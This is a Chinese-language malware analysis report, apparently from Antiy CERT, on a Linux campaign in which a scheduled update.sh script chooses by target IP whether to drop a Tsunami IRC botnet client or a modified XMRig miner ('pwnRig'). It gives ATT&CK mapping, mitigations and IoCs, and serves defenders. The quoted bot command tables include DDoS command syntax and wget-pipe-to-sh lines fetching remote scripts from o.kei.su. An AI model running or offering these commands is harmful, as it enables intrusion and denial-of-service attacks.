精准投放Tsunami僵尸网络和“魔铲”挖矿木马的行动分析
近日,安天CERT联合哈尔滨工业大学网络安全响应组通过网络安全监测发现了一起僵尸网络和挖矿木马事件,该事件针对Linux系统,包含服务器和智能设备。攻击者配置了一个IP列表,如果目标主机外网IP在列表中则下载运行Tsunami僵尸程序,如果目标主机外网IP不在列表中则下载运行“魔铲”挖矿木马,IP列表共8487条,全球范围内涉及政府部门、金融行业、互联网企业、媒体、运营商等多种目标,国内也有大量目标。
安天CERT分析推测,IP列表中的对应机构的特点是网络流量相对较大,因此被攻击者用来做僵尸网络的组成部分;IP列表外的,网络流量可能相对较小,因此被攻击者用来挖矿。
被感染的Linux系统的计划任务中,存在一个每隔一段时间执行一次下载和运行update.sh脚本的任务。该脚本功能是获取计算机信息(用户id、处理器架构和公网IP),连接网络读取一个IP列表(server.txt),判断主机的公网IP是否存在于该IP列表中,如果存在则准备下载组成僵尸网络的僵尸程序运行,如果不存在则准备下载挖矿木马运行。
安天CERT分析判定,update.sh脚本下载的僵尸程序属于Tsunami家族。该僵尸网络基于Internet中继聊天(IRC)的命令控制服务器操作,在受感染设备的配置中修改DNS服务器设置,使来自物联网设备的流量被重定向到攻击者控制的恶意服务器。Tsunami僵尸网络主要使用下载器下载、利用漏洞、远程登录扫描等方式进行传播。Tsunami僵尸网络的主要功能为远程控制、DDoS攻击和其他恶意行为。
安天CERT分析判定,update.sh脚本下载的挖矿木马是攻击者基于开源的门罗币挖矿工具(XMRig)开发修改,该挖矿木马和网络流量中均含有特殊字符串“pwnRig”,安天CERT将该挖矿木马命名为“魔铲”挖矿木马。
目前,安天智甲终端防御系统(Linux版本)可实现对该挖矿木马和僵尸网络的查杀与有效防护。安天智甲作为安天旗下的终端防御系统,目前已经率先完成与统信操作系统UOS全平台适配兼容,成为统信操作系统生态伙伴。
该起事件主要是由恶意脚本所引发,针对目标特点投放僵尸程序或挖矿木马。通过对该事件进行ATT&CK映射,展示攻击者在该事件中使用的技术特点。
图 2‑1事件对应的ATT&CK映射图谱
具体ATT&CK技术行为描述表:
表 2‑1 该事件的ATT&CK技术行为描述表
ATT&CK阶段/类别 | 具体行为 | 注释 |
执行 | 利用计划任务 | 添加计划任务,定时启动; |
使用脚本 | 使用Linux Shell脚本; | |
持久化 | 利用计划任务 | 添加计划任务,定时启动; |
防御规避 | 软件加壳 | 对恶意程序加壳; |
发现 | 发现系统所有者/用户 | 获取系统用户id; |
发现进程 | 遍历系统进程; | |
发现系统信息 | 获取处理器架构信息; | |
发现系统网络连接 | 获取主机公网IP地址及所有网络连接的IP; | |
命令与控制 | 利用常用端口 | 利用常用端口与C2建立连接和数据传输; |
渗出 | 通过C2信道回传 | 通过C2信道回传数据; |
影响 | 端点侧拒绝服务(DoS) | 针对终端的拒绝服务攻击; |
网络侧拒绝服务(DoS) | 针对网络的拒绝服务攻击; | |
资源劫持 | 消耗系统资源; |
针对该挖矿木马和僵尸网络安天建议企业采取如下防护措施:
(1)安装终端防护:安装反病毒软件,建议安装安天智甲终端防御系统Linux版本。
(2)加强ssh口令强度:避免使用弱口令,建议使用16位或更长的密码,包括大小写字母、数字和符号在内的组合,同时避免多个服务器使用相同口令;
(3)及时更新补丁:建议开启自动更新功能安装系统补丁,服务器应及时更新系统补丁;
(4)开启日志:开启关键日志收集功能(安全日志、系统日志、错误日志、访问日志、传输日志和Cookie日志),为安全事件的追踪溯源提供基础;
(5)主机加固:对系统进行渗透测试及安全加固;
(6)部署入侵检测系统(IDS):部署流量监控类软件或设备,便于对恶意代码的发现与追踪溯源。安天探海威胁检测系统(PTD)以网络流量为检测分析对象,能精准检测出已知海量恶意代码和网络攻击活动,有效发现网络可疑行为、资产和各类未知威胁;
(7)安天服务:若遭受恶意软件攻击,建议及时隔离被攻击主机,并保护现场等待安全工程师对计算机进行排查;安天7*24小时服务热线:400-840-9234
图 3‑1安天智甲有效防护
表 4‑1 update.sh标签
病毒名称 | Trojan[Downloader]/Shell.Mine |
原始文件名 | update.sh |
MD5 | 6AE73CAB2D8378816AD0CB3B77EBA983 |
文件大小 | 1.35 KB(1,379 字节) |
文件格式 | Script/Linux.SH[:Shell] |
VT首次上传时间 | 2020-04-14 02:30:57 |
VT检测结果 | 1 / 59 |
update.sh脚本的内容如下:
图 4‑1 update.sh脚本内容
被感染的Linux系统的计划任务中,存在一个每隔一段时间执行一次下载和运行update.sh脚本的任务。该脚本功能是获取计算机信息(用户id、处理器架构和公网IP),连接网络读取一个IP列表(server.txt),判断主机的公网IP是否存在于该IP列表中,如果存在则准备下载组成僵尸网络的僵尸程序运行,如果不存在则准备下载挖矿木马运行。在准备下载僵尸程序运行前,判断主机中是否存在僵尸程序相关字符串的进程,其目的是判断主机是否已经感染了该僵尸程序;判断用户id是否为root用户,选择是否开启ssh服务;判断处理器架构,选择下载相应架构的僵尸程序运行(见表4-2),经安天CERT分析工程师测试,仅存在i686和x86_64两种架构的僵尸程序。在准备下载挖矿木马运行前,判断主机网络连接中的所有IP地址是否存在攻击者正在使用的与挖矿相关的三个IP(见表4-3),其目的是判断主机是否已经感染了该挖矿木马,如果未感染则选择下载相应架构的挖矿木马运行,经安天CERT分析工程师测试,仅存在i686和x86_64两种架构的挖矿木马。
主要的处理器架构信息及对应的下载情况:
表 4‑2 对应处理器架构的下载情况
处理器架构 | 是否能下载对应架构的恶意代码 | 能下载的恶意代码 |
i686 | 是 | 僵尸程序、挖矿木马 |
x86_64 | 是 | 僵尸程序、挖矿木马 |
i386 | 否 | 无 |
aarch64 | 否 | 无 |
mips64 | 否 | 无 |
mips64el | 否 | 无 |
sw_64 | 否 | 无 |
update.sh中的3个IP信息如下,这3个IP及曾经解析过的域名可能与矿池代理相关:
表 4‑3 IP信息
IP | 国家 | 域名 |
185.183.97.216 | 罗马尼亚布加勒斯特 | xmr-v4.pwndns.pw(历史解析) |
51.79.74.212 | 加拿大 | 212.ip-51-79-74.net |
185.45.192.135 | 荷兰南荷兰省 | 无 |
update.sh脚本的详细执行流程如下:
图 4‑2 update.sh脚本的详细执行流程
表 4‑4 僵尸程序标签
病毒名称 | Trojan[Backdoor]/Linux.Tsunami |
原始文件名 | x86_64 |
MD5 | 4FF3BA68D0F154E98222BAD4DAF0F253 |
文件大小 | 184 KB(188,648 字节) |
文件格式 | BinExecute/Linux.ELF |
加壳类型 | upx |
VT首次上传时间 | 2020-02-29 16:38:48 |
VT检测结果 | 36 / 60 |
经安天CERT分析判定,update.sh脚本下载的僵尸程序属于Tsunami家族。该僵尸网络基于Internet中继聊天(IRC)的命令控制服务器操作,在受感染设备的配置中修改DNS服务器设置,使来自物联网设备的流量被重定向到攻击者控制的恶意服务器。Tsunami僵尸网络主要使用下载器下载、利用漏洞、远程登录扫描等方式进行传播。Tsunami僵尸网络的主要功能为远程控制、DDoS攻击和其他恶意行为。
Tsunami僵尸程序运行后,先判断是否为唯一实例运行,获取该进程识别码、当前系统时间和父进程PPID随机组成用户识别码。
图 4‑3生成用户识别码
该僵尸程序的上线地址由内置的IP和域名二选一和内置的7个端口号七选一组合而成。内置的IP和域名为:
80.23.88.68
irc.do-dear.com
7个默认端口为:
80、443、6667、6668、7000、8080、22
NICK %s',0Ah 'USER %s localhost localhost:%s
向上线地址(IRC服务器)发送连接后,等待攻击者的控制指令。Tsunami僵尸程序的主要功能为远程控制、DDoS攻击和其他恶意行为。
远程控制的指令与功能描述如下:
表 4‑5 Tsunami僵尸程序的远程控制功能的指令与功能描述
指令 | 描述 | 语法 |
352 | 设定假IP | |
376 | 加入频道 | Send(fd,”NICK %s\n”,nick) Send(fd,"MODE %s-xi\n",nick) Send(fd,"JOIN %s :%s\n",chan,pass) |
433 | 产生一个新的昵称 | |
422 | 加入频道 | Send(fd,"NICK %s\n",nick) Send(fd,"MODE %s -xi\n",nick) Send(fd,"JOIN %s:%s\n",chan,pass) |
PRIVMSG | 执行特殊指令 | |
PING | 发送PONG | |
NICK | 从指令中取一个字符串作为昵称 |
DDoS攻击的指令与功能描述如下:
表 4‑6 Tsunami僵尸程序的DDoS攻击的指令与功能描述
指令 | 描述 | 语法 |
RANDOMFLOOD | 在ACK洪水和SYN洪水之间随机切换 | RANDOMFLOOD <target> <port> <secs> |
ACKFLOOD | ACK洪水(欺骗) | ACKFLOOD <target> <port> <secs> |
SYNFLOOD | SYN洪水(欺骗) | SYNFLOOD <target> <port> <secs> |
TSUNAMI | 发起DDoS攻击 | TSUNAMI <target> <secs> |
PAN | “高级”SYN洪水 | PAN <target> <port> <secs> |
SUDP | UDP洪水(欺骗) | SUDP <target> <port> <secs> |
UDP | UDP洪水 | UDP <target> <port> <secs> |
NSACKFLOOD | ACK洪水 | NSACKFLOOD <target> <port> <secs> |
NSSYNFLOOD | SYN洪水 | NSSYNFLOOD <target> <port> <secs> |
STD | 发起DDoS攻击 | STD <target> <port> <secs> |
UNKNOWN | 发起DDoS攻击 | UNKNOWN <target> <secs> (recommended for non-root users) |
KILLALL | 终止DDoS攻击 |
其他的指令与功能描述如下:
表 4‑7其他的指令与相关功能描述
指令 | 描述 | 语法 |
DNS | 识别域并将其IP发送给服务器 | |
CUSTOM | 执行自定义脚本(在指定的链接处) wget -qO http://o.kei.su/custom | sh> / dev / null 2>&1 | |
PATCH | 针对Shellshock漏洞 wget -qO http: //o.kei.su/patch | sh> / dev / null 2>&1 | |
BOTKILL | 删除其他木马 wget -qO http://o.kei.su/botkill | sh> / dev / null 2>&1 | |
GETSPOOFS | 获取欺骗参数 | |
SPOOFS | 设置用于欺骗的IP或IP范围 | SPOOFS <iprange/ip> |
VERSION | 返回后门版本 | |
SERVER | 将服务器更改为指令中指定的服务器 | |
GET | 下载指定文件 | GET <url> <save as> |
IRC | 将指定的IRC指令发送到服务器 | IRC <arg1> <arg2> <arg...> |
HELP | 显示可用指令列表 | |
SH | 执行一组SH指令 | SH <arg1> <arg2> <arg...> |
安天CERT分析判定,update.sh脚本下载的挖矿木马是攻击者基于开源的门罗币挖矿工具(XMRig)开发修改,该挖矿木马和网络流量中均含有特殊字符串“pwnRig”,安天CERT将该挖矿木马命名为“魔铲”挖矿木马。“魔铲”挖矿木马连接非公共矿池,无法追踪活动情况,运行后将自身添加至计划任务中,设置为每分钟执行一次。
表 4‑8 挖矿木马标签
病毒名称 | RiskWare[RiskTool]/Linux.pwnrig |
原始文件名 | x86_64 |
MD5 | 19BD34C54B71BE9C418B5B5604410863 |
文件大小 | 2.43 MB(2,555,924 字节) |
文件格式 | BinExecute/Linux.ELF |
加壳类型 | upx |
VT首次上传时间 | 2020-04-10 18:10:13 |
VT检测结果 | 25 / 60 |
挖矿木马中含有特殊字符串“pwnRig”:
图 4‑4 挖矿木马中的字符串
网络流量中含有特殊字符串“pwnRig”:
图 4‑5 挖矿程序流量分析
挖矿木马的钱包地址:
46VfQxKRmjSsMRYux3r6qJvxwdVCmZfUFkPqt1uUfikSSy2wJFbcDzdX2ZuH4hDzs7xS8Nsy5orNTMtQUJADuavC2vV1Rp
攻击者配置了一个IP列表,如果目标主机外网IP在列表中则下载运行Tsunami僵尸程序,如果目标主机外网IP不在列表中则下载运行“魔铲”挖矿木马,IP列表共8487条,全球范围内涉及政府部门、金融行业、互联网企业、媒体、运营商等多种目标,国内也有大量目标(2474条)。
图 5‑1 IP地址对应地理位置分布情况(全球)
图 5‑2 IP地址对应地理位置分布情况(国内)
通过安天威胁情报综合分析平台关联update.sh中下载恶意代码链接的域名,发现多个与远程控制木马、挖矿木马有关的恶意域名。
图 5‑3安天威胁情报综合分析平台域名关联分析
上述域名关联结果列表:
表 5‑1域名对应的关联结果
域名 | 关联结果 |
pw.pwndns.pw | 僵尸网络、挖矿木马 |
pwn.pwndns.pw | 远程控制木马、挖矿木马 |
xmr-v4.pwndns.pw | 远程控制木马、挖矿木马 |
xmr-rx0.pwndns.pw | 远程控制木马、挖矿木马 |
IoCs |
6AE73CAB2D8378816AD0CB3B77EBA983 |
4FF3BA68D0F154E98222BAD4DAF0F253 |
19BD34C54B71BE9C418B5B5604410863 |
45F9B43EF723BC4D11A481F093969B34 |
259430ECA6C287D1590B2E1640C69E6D |
pw.pwndns.pw |
pwn.pwndns.pw |
xmr-v4.pwndns.pw |
xmr-rx0.pwndns.pw |
往期推荐
●安天产品巡礼(系列二)——探海威胁检测系统
●勒索软件ProLock藏身图片,安天智甲有效防护
●针对WannaRen勒索软件的梳理与分析